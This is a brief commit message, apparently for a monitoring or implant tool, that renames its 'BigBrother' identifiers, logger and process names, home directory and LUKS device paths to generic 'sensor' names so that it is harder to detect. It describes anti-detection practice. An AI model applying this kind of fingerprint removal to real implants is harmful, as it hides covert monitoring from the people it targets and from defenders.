Fix #211: Remove tool identity strings from deployed artifacts

- Replace BigBrother -> SystemMonitor in display names and docstrings
- Replace logger names: bb.* -> sensor.*
- Replace process names: bb-* -> sensor-*
- Replace home directory: ~/.bigbrother -> ~/.implant
- Replace LUKS device: /dev/mapper/bb-* -> /dev/mapper/sensor-*
- Updated 76 Python files across all modules
- Improves OPSEC by removing obvious tool fingerprints from logs and runtime
